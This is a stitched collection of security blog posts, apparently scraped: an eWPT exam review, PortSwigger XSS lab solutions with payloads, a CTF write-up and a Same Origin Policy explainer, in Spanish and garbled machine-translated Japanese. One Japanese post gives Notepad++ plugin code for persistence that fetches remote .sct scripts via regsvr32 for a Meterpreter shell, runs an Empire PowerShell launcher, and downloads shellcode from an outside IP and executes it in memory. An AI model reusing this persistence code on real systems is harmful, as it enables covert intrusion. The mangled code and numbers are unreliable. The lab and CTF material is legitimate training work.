ataques web, pues no puedo ser muy concreto porque sería spoiler, pero digamos que yendo a PortSwigger y haciendo todos los laboratorios de las vulnerabilidades más conocidas e importantes, irás bien. Aun así, échale un vistazo al temario del curso de preparación.Tener una idea de los sitios de referencias de vulnerabilidades más famosos, MITRE (CWE), OWASP, WASC Threat Classification, y además, por supuesto, usar el CVSS. ¿Cómo es el examen? Cuando comienzas la certificación, te proporcionan la «carta de compromiso», básicamente es un PDF donde te dan todos los detalles necesarios para hacer el examen. Súper TIP, lee ultra mega híper bien la carta de compromiso antes de comenzar el examen. Una vez leída la carta, simplemente te conectas por VPN al examen y tendrás los distintos activos web a auditar, por esta parte no hay mucho más que comentar. El examen dura 14 días, tienes 7 días de laboratorio, es decir, 7 días para completar la parte práctica, y luego tienes otros 7 días para realizar el reporte. Yo empecé el examen un viernes sobre las 19:30 y para el sábado sobre las 21:00 ya tenía los requisitos mínimos junto a bastantes vulnerabilidades, el domingo hice el reporte y listo. En referencia a «los requisitos mínimos», en la carta de compromiso se te indica que el requisito mínimo, pero no suficiente, es hacer X. Dice no suficiente, porque aunque cumplas lo que se te indica, el objetivo del examen es encontrar y reportar todas las vulnerabilidades web que encuentres. Volviendo al reporte, por si te sirve de guía, a mí me ocupó 72 páginas, literalmente me lo escribí todo el domingo y cuando acabé tenía las manos tan reventadas que me puse a jugar God Of War xD. Para el reporte puedes seguir alguna plantilla como la de TCM o TheMayor, que es como hice yo en el eCPPTv2, sin embargo, en este caso, decidí escribirlo todo de cero, pero cogiendo ideas de ambas plantillas. Una estructura que puedes seguir puede ser: VulnerabilidadBreve DescripciónActivos AfectadosDescripción ExtendidaImpacto (CVSS)RecomendacionesReferencias Puedes usar este modelo y adaptarlo a lo que consideres mejor. ¿Cómo es el curso de Preparación? Pues, sinceramente, un coñazo. Y si, lo digo en serio. Algo que personalmente no me gusta de eLearnSecurity es que te coloca un PowerPoint de 300 páginas de contenido, donde, si te ponen un trozo de código, ni siquiera puedes copiarlo directamente. Además, 300 páginas de PowerPoint está bien cuando llevas 20, pero cuando vas por la 100 estás un poco hasta los cojones. Personalmente, prefiero el contenido en vídeo, con alguien explicándomelo todo de forma dinámica y amena. Y que me pusiera el código en la descripción para poder copiarlo x) y hacer pruebas en local. Ahora bien, por otro lado, algo que me encanta de eLearnSecurity es como entra en detalle en muchos temas. Cuando nos enfocamos tanto en hacer máquinas y ataques, a veces, olvidamos y no tenemos en cuenta la verdadera base para poder construir de forma más sólida sobre todo lo demás. Me encanta como explica de manera detallada cosas como las Cookies, el SOP, las sesiones… Y sí, pienso a veces que cosas tan básicas como esta, la damos por sabida porque es «sencillo», pero por esa aceptación de sencillez, a veces perdemos muchos detalles importantes. Y esta parte me encanta que eLearnSecurity la abarque. Por lo demás, el temario puedes verlo en este enlace sin estar autenticado. El temario en sí, toca algunas cosas típicas como SQLi, XSS, CSRF, LFI, RFI, Session Fixation… Pero también toca cosas no tan comunes y conocidas como el XPath Injection y el SOAP, entre otros. Si puedes ver el temario mejor, si no pues toca googlear e investigar por tu cuenta, que bueno, aunque tuvieras el temario, esta parte no te la quita nadie. En cuanto a los laboratorios, no hay ninguno que me llamase la atención especialmente, eso sí, puedes practicar todas las vulnerabilidades y más, pero no creo que sean tan necesario o que valga tanto la pena como para pagarte la subscripción premium de INE. Tips Diría Burp Suite, pero no es un tip, es una necesidad jeje. Más allá de eso, recomiendo muchísimo que hagas uso de Mapas Mentales, es decir, de esto: Personalmente, la aplicación que recomiendo es XMind. Es una aplicación supercómoda e intuitiva. Hacer uso de un MindMap te ayudará mucho a organizarte y ver las cosas mucho más claras. De hecho, esta idea es bastante usada en Bug Bounty. Aparte de esto, realmente el único tip adicional que puedo volver a mencionar es que leas muy bien la carta de compromiso que se te entrega al comenzar el examen. Conclusión El eWPT es un examen bastante entretenido y que le puedes sacar bastante partido. Personalmente, lo recomiendo siempre que quieras aprender un poco más del tema web, aunque eso si, al fin y al cabo, el aprendizaje depende sobre todo de ti, y no tanto del examen.
  20. En este post vamos a estar resolviendo el laboratorio: “Reflected XSS into attribute with angle brackets HTML-encoded”. En este caso, para resolver el reto tenemos que inyectar un atributo que nos ejecute un alert. Lo primero de todo es acceder al laboratorio: Una vez accedemos, nos encontramos ante una barra de búsqueda, por lo que vamos a usarla buscando una palabra aleatoria: Cuando buscamos, si nos fijamos aquí ocurren varias cosas: En este caso no hay resultados, pero eso es lo de menos.En la URL se nos añade el parámetro search.Lo que buscamos, acaba siendo el valor del atributo value en el elemento input. Teniendo en cuenta los dos últimos puntos, podemos crear un payload que nos cree un nuevo atributo dentro del elemento input para que se nos ejecute un alert. En este caso el payload es: “onmousemove=”alert(1) De esta forma, buscando por el payload que hemos especificado arriba, conseguimos resolver el laboratorio: Parece que no ha ocurrido nada a nivel de ejecutar el alert, sin embargo, si pasamos el ratón por encima de la palabra: Se nos ejecuta. De esta forma conseguimos resolver el laboratorio:
  21. En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery selector sink using a hashchange event”: Para resolver el laboratorio, tenemos que enviar a una víctima un exploit que aproveche la vulnerabilidad del laboratorio para ejecutar la función print(). Lo primero de todo es acceder al laboratorio: En este caso, no vemos ninguna barra de búsqueda o página de feedback como ha ocurrido en otros retos de XSS. Sin embargo, si nos vamos al código fuente, nos encontramos con el siguiente trozo de código: Este código, básicamente lo que hace es que cuando se especifica en la URL algo después de un hashtag, busca este valor en la web y hace un scroll hasta la coincidencia. Por ejemplo, si nos vamos abajo del todo del laboratorio, podemos ver como hay un post que tiene la palabra “Resume” en el título: Sabiendo esto, vamos a buscar por: <URL>/#Resume Damos enter. Y aunque en la imagen no se pueda apreciar, nos redirige automáticamente hacia el post que contiene la palabra. Para ver como explotar esto, vamos a traer el código de nuevo: Como podemos observar, realmente lo que ocurre en el código, es que cuando especificamos algo después del hashtag, jQuery intenta busca un elemento h2 que contenga lo que hemos dicho. Cuando encuentra el elemento, este se almacena en la variable post, por lo que ahora, lo que contiene es un elemento de jQuery que se ve de la siguiente forma: Posteriormente, si la variable post tiene algun dato almacenado, se obtiene el primer elemento del objeto jQuery y se usa el método scrollIntoView(). Aqui la vulnerabilidad como tal, se encuentra en la primera linea, en el selector sink de jQuery ($()): Si no se sanitiza bien, lo que ocurre en aproximadamente en el código es lo siguiente: $(‘section.blog-list h2:contains(‘ + decodeURIComponent(window.location.hash.slice(1)) + ‘)’);$(‘section.blog-list h2:contains(‘ + Hola + ‘)’); Por lo tanto, si ponemos un payload como el siguiente: <img src=/ onerror=print()> Mas o menos, ocurriría algo así: $(‘section.blog-list h2:contains(‘ + <img src=/ onerror=print()> + ‘)’); De esta forma, se interpretaría. Vamos a probarlo: Damos enter: Y efectivamente se ejecuta. Ahora tenemos que crear un exploit que mandemos a la víctima y se haga uso de esta vulnerabilidad. Para ello nos vamos al servidor del exploit: En este caso, la idea es automatizar la explotación usando un simple <iframe>: Antes de enviarlo vamos a ver como se vería: La victima al visitar una web con nuestro código, vería lo que estamos viendo, un pequeño iframe de la web, e inmediatamente después de que cargase la web, se ejecutaría la función print(): Por lo que, viendo que funciona. Simplemente lo guardamos y lo enviamos a la víctima: De esta forma, conseguimos resolver el laboratorio:
  22. 0x00序文 Notepad ++は、プラグインモードに拡張機能を備えた人気のあるWindowsテキストエディターです。 Windows環境、特に開発者やITスタッフのホストでは珍しいことではありません。 Redチーム担当者に重要な情報のコレクションを提供することに加えて、リモートコマンドからロードまたはスクリプトを使用するプラグインを使用して、許可メンテナンスとして使用することもできます。 0x01基本メッセージボックスの例 Notepad ++プラグインを使用して、メモ帳++の機能を拡張できます。デフォルトでは、ユーザーはNotepad ++信頼できるプラグインのリストに必要なプラグインをインストールできますが、検証なしでカスタムプラグインをインストールすることもでき、開発者が拡張可能なテキストエディターを使用する柔軟性を提供できます。プラグインはDLLファイルの形式です。カスタムプラグインをインストールするには、DLLを%プログラムファイル%\ Notepad ++ \ Plugins \ PluginName \ PluginName.dllに配置するだけです。 利点は、プラグインを読み込んだりアクティブにしても、ユーザーとの対話を必要としないことです。欠点は、地元の管理者の許可をディレクトリに書き込む必要があることです。プラグインをロードするには、フォルダー名とDLLファイル名が同じである必要があることに注意する必要があります。 Notepad ++プラグインパッケージを変更テンプレートとして使用できるため、Redチームの担当者の場合、悪意のあるプラグインをゼロから書く必要はありません。特定のイベントが発生すると、アクションを実行するために使用できるいくつかのAPIがあります。 SCI_ADDTEXTAPI NotePad ++で文字を入力するときにカスタムコマンドをトリガーします。次の例では、文字が挿入されるとメッセージボックスがポップアップします。 https://github.com/kbilsted/notepadpluspluginpack.net/blob/master/visual%20studio%20projed%20template%20c%23/main.csを使用できます .NETテンプレートを使用して、紹介の下でコードを変更します の変更されたコードは次のとおりです。クラスmain {static bool executeOnce=true; public static void onnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext executeonce){messagebox.show( 'notepad ++ -visk https://pentestlab.blog'); executeOnce=!executeOnce; }} または:class main {static bool firstrun=true; public static void onnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun){var process=process.getCurrentProcess(); messagebox.show($ 'hello from {process.processname}({process.id})。'); firstrun=!firstrun; }} Notepad ++プラグインメッセージボックスの挿入例コンパイルコードは、スーパー管理者の特権で実行する必要があるDLLファイルを生成します。 dir 'c: \ program files \ notepad ++ \ plugins \ pentestlab' Notepad ++プラグインの場所NotePad ++を開始してキャラクターを入力すると、メッセージボックスがポップアップします。 Notepad ++実行に正常に 0x02 msfリバウンド例 ファイヤーレスペイロードを実行して、通信チャネルを確立することもできます。ここでは、Windows Regsvr32バイナリを使用して、リモートの場所から実行スクリプトをロードできます。 MetaSploitフレームワークは、Web配信モジュールを介したこの利用をサポートしています。 Exploit/Multi/Script/Web_Deliveryを使用します ターゲット2を設定します ペイロードWindows/x64/meterpreter/reverse_tcpを設定します LHOST 10.0.0.3を設定します LPORT 4444を設定します 実行することは、必要なパラメーターを使用してコマンドをわずかに変更してregsvr32を実行できます classmain {staticboolfirstrun=true; publicstaticVoidonnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun){stringstrcmdtext; strcmdtext=' /s /s /u /i:http://10.0.0.8080/nhicvfz6n.sctscrobj.dll';process.start('regsvr32 '、strcmdtext); firstrun=!firstrun;}}新しい文字がメモ帳++に入力されます。コマンドを実行するイベントがトリガーされます Notepad ++ Persistence Trigger MeterPreterは、セッション監視を実行し、通信チャネルを確立します。 Notepad ++ regsvr32メータープレターターゲットホストとの相互作用を開始するために、次のコマンドを実行します セッション セッション-I 1 PWD GetUid Notepad ++ MeterPreter Shell 0x03帝国リバウンドシェルの例 同様の方法で、Empire C2を使用してさまざまなステーガーファイルを生成できます。これらのファイルには通常、PowerShellプロセスで実行できるBase64コマンドが含まれています。以下は、例としてステイガーの方法です。 UseStager Windows/Launcher_SCT Empire Stager Module Stagerは、帝国で実行されたリスナーを指す必要があり、コマンドを実行すると、ファイルが「Generated-Stagers」フォルダーに書き込みます。 リスナーhttpを設定します EMPIREを実行- ステージャーの構成と生成生成されたランチャー.sctファイルをターゲットシステムにアップロードし、regsvr32コマンドを介して実行するか、lavinger.sctファイルに生成されたbase64をコピーして、このコマンドを内部的に使用してソフトウェアを避けることができます。 Empire - Powershell base64ペイロードサンプルコード:classmain {static bool executeonce=true; publicstaticVoidonnotification(scnotification notification){if(notification.header.code==(uint)scimsg.sci_addtext firstrun) -w -l enc base64コマンド実行コード '; process.start(' powershell '、strcmdtext); executeonce=!executeOnce;}} Notepad ++ - プラグインは、コマンドが帝国のスタージャーによってトリガーされた後、エンパイアに新しい相互作用が表示されます。 エージェント Notepad ++ Empirempireモジュールのコマンドには、ホストデスクトップのスクリーンショットや、ユーザー名、接続文字列、URLなどの情報などの情報収集機能も搭載できます。 usemodule powershell/collection/screenshot エージェントメモ帳を設定します Notepad ++ Empire Screenshot Notepad ++スクリーンショット 0x04コバルトスタッチリバウンドシェルの例 メッセージボックスをシェルコードに置き換えて、cobasltsikeを介してロードすると、コードは次のとおりです。 if(notification.header.code==(uint)scimsg.sci_addtext firstrun) { var client=new WebClient()を使用しています。 var buf=client.downloaddata( 'http://172.19.215.47/shellcode'); var hmemory=virtualAlloc( intptr.zero、 (uint)buf.length、 AllocationType.Reserve | allocationType.commit、 MemoryProtection.readWrite); Marshal.Copy(buf、0、hmemory、buf.length); _=VirtualProtect( hmemory、 (uint)buf.length、 MemoryProtection.executeread、 外_); _=createThread( intptr.zero、 0、 hmemory、 intptr.zero、 0、 外_); firstrun=!firstrun; } 0x05要約 この許可永続性手法の不利な点の1つは、ユーザーが文字を入力する必要があるため、リバウンドシェルを頻繁に受信しないことであることに注意する必要があります。
  23. Misc 署名の問題 ネットワークセキュリティにおける8つの複数選択の質問、Baiduは回答を検索できます。ここでいくつかの質問に対する回答のみを知っている場合は、列挙を使用してファズの回答をテストしてフラグを取得できます flag3360 フラグ{A236B34B-8040-4EA5-9E1C-97169AA3F43A} re re693 添付ファイルを直接ダウンロードして、Golangで開きます 主な関数を見ると、2つの文が印刷され、6つのパラメーターを持つ関数の入力が必要であり、3つはGlihrであることがわかります。 6つのパラメーターと3番目の名前がglihr:を持つ最初の関数を入力します 最初の関数を入力すると、6つのパラメーターがあり、3つ目はGlihrと呼ばれます。 3つの呼び出しがあり、chzv5op8romlakb6:という名前の関数を呼び出す2番目の関数を入力します 3つの発信者がいる2番目の関数を入力し、chzv5op8romlakb6という名前の関数を呼び出します。 直接的なグローバル検索、最初の関数は、zlxdjkh3ozn4mayd、6つのパラメーターを備えています 2番目の関数は、最初にCHZV5OP8ROMLAKB6をグローバルに検索して、どの関数がこの関数を呼び出すかを確認し、さらに検索してシンボルが質問の意味を満たしているかどうかを確認します。対応する関数はUHNCM82SDGE0ZLYOです 6、出かけて自分自身、そして次回の2つの繰り返しの判断があります。その後、3つの呼び出しがあります 次に、メイン関数を見てください func main(){ var nfazj、cuskl string jjxxf :=[] byte { 37、73、151、135、65、58、241、90、33、86、71、102、241、213、234、67、144、139、20、112、150、41、7、158、251、167、249、24、24、129、72、83、142、142、162、236、236、236、236、236、236、236、236、236、236、236、236、236、236、236、236、231 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246} kdlah :=[] byte { 191、140、114、245、142、55、190、30、161、18、18、200、7、21、59、17、44、34、181、109、116、146、145、189、68、142、113、0、33、46、184、21、33、66、99、124、167、20、21、88、133、21、133、21、133、133、133、133 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33、60、170、189、77、124、72、135、46、235、17、32、28、245} fmt.print(mpyt9gwtrfafnvb1(jjxxf)) fmt.scanf( '%20s'、nfazj) fmt.print(kz2bfvoxepd5aldr(kdlah)) fmt.scanf( '%20s'、cuskl) vnvuo :=gwsqnhq7dpxpig64(nfazj) yjcya :='' mvoxk :=yi3z8zxokhflmtpc(cuskl) mvoxk!=nil { yjcya=mvoxk() } if yjcya!='' vnvuo!='' { fmt.printf( 'flag {%s%s} \ n'、vnvuo、yjcya) } } フラグは2つのセクションに分かれています。最初のセクションはvnvuo、2番目のセクションはyjcyaです 最初の関数 func gwsqnhq7dpxpig64(cjptr string)string { yrxqd :=hex.encodetostring([] byte(cjptr)) return fmt.sprintf( '%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c'、yrxqd [22]、yrxqd [19]、yrxqd [20]、yrxqd [21]、yrxqd [28]、yrxqd [20]、yrxqd [20]、 yrxqd [7]、yrxqd [29]、yrxqd [14]、yrxqd [0]、yrxqd [18]、yrxqd [3]、yrxqd [24]、yrxqd [27]、yrxqd [31]) } 最初の段落exp yrxqd=bytes.hex( 'zlxdjkh3ozn4mayd'.encode())) print(yrxqd [22]、yrxqd [19]、yrxqd [20]、yrxqd [21]、yrxqd [28]、yrxqd [10]、yrxqd [20]、yrxqd [7]、yrxqd [29]、yrxqd [14]、yrxqd [0]、yrxqd [0]、 yrxqd [3]、yrxqd [24]、yrxqd [27]、yrxqd [31]、sep='') 2番目の段落には、関数が含まれます この部分は戻り機能であり、uhncm82sdge0zlyoに電話する必要があります func uhncm82sdge0zlyo()string { sythk :=[] byte { 159、141、72、106、196、62、16、205、170、159、36、232、125、239、208、3} VAR VW2MJ、NIJ87、ZVCLR文字列 CHZV5OP8ROMLAKB6を返します(Sythk、VW2MJ、Nij87、ZVCLR) } func chzv5op8romlakb6(higxt [] byte、vgvny string、zokkv string、eu0ud string)string { QTK4L :=make([] byte、20) ek08m :=[16] byte { 167、238、45、89、160、95、34、175、158、169、20、217、68、137、231、54} i :=0; I 16; i ++ { qtk4l [i] +=ek08m [i] ^ higxt [i] } return string(qtk4l) } 以下のいくつかのVW2MJ、NIJ87、ZVCLは、無効なパラメーターです Exp: QTK4L=[0]*16 sythk=[159、141、72、106、196、62、16、205、170、159、36、232、125、239、208、3] EK08M=[167、238、45、89、160、95、34、175、158、169、20、217、68、137、231、54] 範囲のIの場合(16): qtk4l [i]=chr(ek08m [i] ^ sythk [i]) QTK4L:のIの場合 印刷(i、end='') 予想外に、GO環境の最初の1つは、チームメイトが実行すると直接終了します。これはとんでもないことです。 FLAG: フラグ{3A4E76449355C4148CE3DA2B46019F75} re694 はMagicによって変更され、FukはUPXに変更され、シェルを除去するのは正常でした。 その後、分析します IDAを開き、キーワード文字列を見つけてから、キー関数を見つけます 2つの重要な判断関数、最初の関数が入って、それが20の長さであるかどうかを見つけ、その後、入力値はxor0x66です。 2番目の判断関数は、最初の判断値を10に追加してからXOR0x50に追加し、DWORD_14001D000の数と比較することです。 それは$ flag=((enc \ oplus0x50)-10)\ oplus0x66 $です x=['4b'、 '48'、 '79'、 '13'、 '45'、 '30'、 '5c'、 '49'、 '5a'、 '79'、 '13'、 '6d'、 '78'、 '13'、 '6f'、 '48'、 '5d'、 '64'、 '64'] x:のiの場合 print(chr(((int(i、16) ^0x50)-10) ^0x66)、end='') flag3360 フラグ{why_m0dify_pux_shell} crypto crypto091 説明とそこに記載されている論文によると、ハッシュ値は電話番号のSHA256です セクション170の数分布の中国ユニコム数の最初のバッチは1709から始まり、直接爆破することができます: X='C22A563ACC2A587AFBFAAAA6D67BC6E628872B00BD7E998887381F7C6FDC62FC' ' Hashlibをインポートします n=b'861709 ' s=list( '0123456789'.strip()) Itertoolsをインポートします I in itertools.product(s、repeat=7):のiの場合 d='' .join(i).encode() g=n+d hashlib.sha256(g).hexdigest()==x:の場合 印刷(g) 壊す #B'8617091733716 ' または 秘密のインポートフラグから crypto162 HashlibインポートMD5、SHA256から crypto.cipher Import AESから COF_T=[[353、-1162、32767]、[206、-8021、42110]、[262、-7088、31882]、[388、-6394、21225]、[295、-9469、44468]、[749、-3501、40599、 10210]、[354、-5383、18437]、[491、-8467、26892]、[932、-6984、20447]、[731、-6281、11340]、[420、 - 5392、44071]、 47959]、[182、-9857、49477]、[593、-3584、49243]、[929、-7410、31929]、[970、-4549、17160]、[141、-2435、36408]、[344、-3814、18949]、 -7457、40587]、[765、-7011、32097]、[700、-8534、18013]、[267、-2541、33488]、[249、-8934、12321]、[589、-9617、41998]、[940、-1166、22814、22814]、 -5660、41003]、[206、-7195、46261]、[784、-9270、28410]、[338、-3690、19608]、[559、-2078、44397]、[534、-3438、47830]、[515、-2139、 -6460、49953]、[234、-6824、12579]、[805、-8793、36465]、[245、-5886、21077]、[190、-7658、20396]、[392、-7053、19739] -8172、45734]、[321、-7102、41224]、[720、-4487、11055]、[208、-1897、15237]、[890、-4427、35168]、[513、-5106、45849]、[766、237、[766]、] -6732、39995]、[589、-6421、43716]、[866、-3265、30017]、[416、-6540、34979]、[840、-1305、18242]、[731、[731]、-13781]、[52728]、-2728、 [863、-5953、23132]、[204、-4208、27492]、[158、-8701、12720]、[802、-4740、16628]、[491、-6874、29057]、[531、-4829、29205]、29205]、[33205]、[33205] -9206、46164]、[317、-9270、18290]、[680、-5136、12009]、[880、-2940、34900]、[162、-2587、49881]、[997、-5265、20890]、[485、-9395、 -1652、18926]、[691、-7844、11180]、[355、-5990、13172]、[923、-2018、23110]、[214、-4719、23005]、[921、-9528、29351]、[349、-7957、29351] -1889、46170]、[244、-6106、23879]、[419、-5440、43576]、[930、-1123、29859]、[151、-5759、23405]、[843、-6770、3658] -1073、44718]、[932、-4037、40088]、[848、-5813、27304]、[194、-6016、39770]、[966、-6789、14217]、[219、-6849、40922]、[352、-6046、18558]、[219、-6849]、 -8254、29748]、[618、-5887、15535]、[202、-9288、26590]、[611、-4341、46682]、[155、-7909、16654]、[935、-5739]、[99342]、[99342]、[935、-5738]、[935、-5738] -5679、36725]、[507、-7074、15475]、[699、-5836、47549]]] defcal(i、cof): i 3:の場合 I+1を返します else: return cof [2]*cal(i-3、cof)+cof [1]*cal(i-2、cof)+cof [0]*cal(i-1、cof) S=0 INRANGE(100): s +=cal(200000、cof_t [i]) 印刷 s=str(s)[-20003360-1000] key=md5(s).hexdigest()。decode( 'hex') check=sha256(key).hexdigest() verify='2cf444ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec310781308156069452a6d5' ' assert(check==検証) aes=aes.new(key、aes.mode_ecb) data=flag +(16-len(flag)%16)*'\ x00' print(aes.encrypt(data).encode( 'hex'))) #4F12B3A3EADC4146386F4732266F02BD03114A404CB2DABAE213ECEC451C9D52C70DC3D25154B55AF8A304AFAFED87 質問のヒントによると、私は再帰式をマトリックスに変換することを考えました(線形代数を参照して、再帰シーケンス_WDQ347のブログ-CSDNブログの一般用語を解きます) HashlibインポートMD5、SHA256から crypto.cipher Import AESから COF_T=[[353、-1162、32767]、[206、-8021、42110]、[262、-7088、31882]、[388、-6394、21225]、[295、-9469、44468]、[749、-3501、40599、 10210]、[354、-5383、18437]、[491、-8467、26892]、[932、-6984、20447]、[731、-6281、11340]、[420、 - 5392、44071]、 47959]、[182、-9857、49477]、[593、-3584、49243]、[929、-7410、31929]、[970、-4549、17160]、[141、-2435、36408]、[344、-3814、18949]、 -7457、40587]、[765、-7011、32097]、[700、-8534、18013]、[267、-2541、33488]、[249、-8934、12321]、[589、-9617、41998]、[940、-1166、22814、22814]、 -5660、41003]、[206、-7195、46261]、[784、-92
  24. En este post vamos a estar resolviendo el laboratorio: “DOM XSS in jQuery anchor href attribute sink using location.search source”: En este caso, para resolver el laboratorio tenemos que ejecutar un alert que nos devuelva las cookies. Lo primero de todo es acceder al laboratorio: Una vez accedidos, nos dirigimos a la parte de enviar feedback, ya que, en el enunciado es donde se nos indica que se encuentra el XSS: Cuando accedemos, si nos fijamos en la URL, podemos ver que de forma por defecto se nos añade el parámetro returnPath: Vamos a probar a añadirle cualquier valor al parámetro: En principio no pasa nada, pero si ponemos el ratón encima del hiperenlace de “Back”: Vemos como el valor que hemos colocado en la variable, se implemente en el atributo href de este elemento. Por lo que es tan sencillo como colocar un payload que nos ejecute el alert cuando demos click en el botón: javascript:alert(document.cookie) Como vemos, conseguimos resolver el laboratorio, y desde el punto de vista del código fuente, lo que hemos conseguido es lo siguiente: Ahora, si damos click en el hiperenlace “Back”: Se nos ejecutará el código Javascript que hemos indicado: En este caso no nos sale nada porque la única cookie que tenemos, tiene la flag HTTPOnly habilitada: Esta flag habilita que las cookies solo puedan ser leídas desde el protocolo HTTP y no desde Javascript, es un mecanismo de defensa. Y con esto explicado, ya tendríamos el laboratorio hecho:
  25. El Same Origin Policy es una política (valga la redundancia) de seguridad de aplicaciones web implementada por los navegadores, que previene/restringe la interacción con recursos de otro origen. Entendiéndose por esta interacción, que se obtenga o establezca propiedades de un recurso de origen diferente. Sé que así dicho, puede no llegar a entenderse. Pero vamos a ir viendo diferentes puntos poco a poco de cara a tener una visión completa y así poder entender que es y como nos afecta esta política. Índice: ¿Qué es el Origen?¿Qué permite y qué bloquea el SOP?Excepciones del SOPwindow.locationdocument.domainCross Window MessagingLaboratorio de PruebasEjemplo 1 – Mismo OrigenEjemplo 2 – Distinto Origen¿Y sí… no existiera el SOP?Vamos a ver si ha quedado claroEjercicio 1Ejercicio 2Ejercicio 3Ejercicio 4Soluciones UwUConclusiónReferencias Mini recomendación: Para entender mejor este post, lo suyo es tener una mini base del DOM y Javascript. Si no, pues simplemente si ves que no entiendes algo, googléalo para ver para qué sirve o únete al server de Discord y pregunta ^^. ¿Qué es el Origen? Cuando hablamos del origen de un recurso, es la combinación de: Protocolo + Host + Puerto Se entiende de forma sencilla con el ejemplo que vamos a ver ahora. Vamos a hacer las comparaciones para la URL: https://deephacking.tech/flagProtocolo: HTTPSHost: deephacking.techPuerto: 443 Ejemplos: https://deephacking.tech/artiQLAZO –> Si tiene el mismo origen, ya que tanto el protocolo, como el host y el puerto, son el mismo.https://dev.deephacking.tech/flag –> No tiene el mismo origen, porque a pesar de que el protocolo y el puerto si coincide, el host no.https://deephacking.tech:8080/flag –> No tiene el mismo origen, ya que, a pesar de que el protocolo y host si coincide, el puerto no.http://deephacking.tech/flag –> No tiene el mismo origen, puesto que, a pesar de que el host y el puerto coincide, el protocolo no (Aunque realmente el puerto también sería distinto porque al ser HTTP sería 80 en vez de 443, pero vamos a olvidarnos de ese detalle en este caso).http://colddsecurity.com:69 –> Esto ya creo que se predice. Pero este, para nada sería el mismo origen jeje. Como curiosidad, el código que se ejecute desde páginas como about:blank o javascript:, heredan el origen desde donde se invocan. Por ejemplo, si ejecutas un script que te abra una nueva ventana about:blank, esta ventana heredará el origen que tenga el script que la ha generado. ¿Qué permite y qué bloquea el SOP? Ya tenemos la definición del origen. Volviendo al SOP (Same Origin Policy), lo que hace entonces esta política es que bloquea el acceso a recursos de orígenes distintos. Podría decirse que la regla principal del SOP es: Un documento puede acceder (a través de Javascript) a las propiedades de otro documento si ambos tienen el mismo origen. PD: Cuando nos referimos a «documento» estamos hablando de una página HTML, un iframe incluido en un HTML, o una petición AJAX. Siendo un poco más precisos, el navegador siempre hará la petición que se le dice que haga sin importar el origen que sea, sin embargo, el que se pueda leer la respuesta, ahí es donde aplica lo que entendemos/entenderemos por SOP, por lo que, el SOP no previene la realización de peticiones a otros orígenes, pero si previene la lectura de la respuesta de una petición hecha a otro origen. Otro detalle, es que el SOP solo aplica cuando las consultas son generadas desde el lado del cliente, no el servidor. Dicho esto, un par de ejemplos del SOP: Tú puedes crear un <iframe> que haga referencia a otro origen (si el otro origen lo permite). Pero, tú no puedes acceder ni editar el contenido si no se trata del mismo origen.En una petición AJAX (XmlHTTPRequest) no podrás obtener la respuesta de la petición si se hace a un origen distinto. Esto son un par de ejemplos clásicos. Sin embargo, vamos a ver como se comporta con otros elementos: CSS –> Se puede traer un archivo CSS de otro origen usando el elemento <link> o importando directamente en un archivo CSS.Images –> Incrustar imágenes de otros orígenes está totalmente permitido. De hecho, este en concreto lo vemos constantemente cuando compartimos por ejemplo un vídeo de YT o un post por alguna red social. Eso si, la lectura de imágenes de otro origen está bloqueado, por ejemplo, colocar una imagen de otro origen en un canvas de nuestra web usando JavaScript estará bloqueado.Scripts –> También se permite cargar archivos Javascript de otros orígenes. Sin embargo, esto no bypasea las restricciones del SOP a ciertas APIs, como por ejemplo, el hacer una petición HTTP mediante fetch() o XMLHttpRequest() a otro origen. Se seguirán bloqueando este tipo de cosas.Forms –> Se pueden usar URLs de otro origen en el atributo action de un form.Multimedia –> Al igual que las imágenes, cualquier contenido ya sea video o audio puede ser traídos con sus respectivos elementos, <audio> y <video>. Excepciones del SOP Además del comportamiento del SOP ante ciertos elementos como acabamos de ver, siguen existiendo algunas excepciones para otros: window.location Esta propiedad sirve para obtener la URL de un documento o para cambiarla, cuando la cambiamos, realmente hacemos una redirección a la web que indicamos, a través de una petición GET. Sabiendo ya su funcionalidad, un documento siempre podrá escribir en la propiedad location de otro documento. Por ejemplo, si en nuestra web tenemos un <iframe> que nos trae https://google.com, nosotros podemos cambiar con esta propiedad la URL del <iframe> y que se actualice y nos traiga otra web. A pesar de que la que estaba antes, fuese de otro origen. De la misma forma, si en el <iframe> cargamos una web, y su código ejecuta una instrucción la cual cambia la propiedad location de la web que contiene el <iframe>, también funcionará. En este caso, esto último se puede hacer siempre, sea o no el mismo origen, ahora bien, otra cosa muy distinta es obtener la propiedad «location» actual si es de origen distinto, eso no podríamos. Podríamos editarlo y cambiarlo por otro, pero no podríamos leerlo. Ejemplo de intentar leer la propiedad: Nos dice Restricted. Si intentáramos lo mismo, pero con un <iframe> de una web del mismo origen que nosotros, no habría ningún problema: Ahora, volviendo al caso donde nuestro <iframe>, traía «deephacking.tech» si intentamos cambiar la propiedad aunque no podamos leerla: Vemos que no hay ningún tipo de problema, como hemos dicho, podemos editar siempre, pero no leer. Eso si, la edición también tiene alguna limitación, un documento siempre puede actualizar la propiedad location de otro documento si ambos recursos tienen alguna relación, como por ejemplo: Un documento está incrustado en el otro por un <iframe> (Lo que hemos visto arriba)Un documento ha sido abierto por el otro a través de window.open (DOM API). document.domain Esta propiedad nos dice el host de origen del documento actual, por ejemplo: http://dev.deephacking.tech/index.html La salida del uso de document.domain sería: dev.deephacking.tech Ejemplo: Un documento puede cambiar parcialmente su propio origen usando este propiedad. Digo parcialmente porque no la puede cambiar como quieras. Usemos el ejemplo de HackTheBox para explicarlo. HackTheBox tiene los dos siguientes dominios: academy.hackthebox.comapp.hackthebox.com Pongámonos en el caso donde, academy.hackthebox.com incluye en su web, mediante un <iframe> a app.hackthebox.com. Podrá hacerlo sin problemas, por esa parte perfecto. Ahora bien, pongamos ahora que academy.hackthebox.com ejecuta un código Javascript para cambiar el contenido del <iframe> de 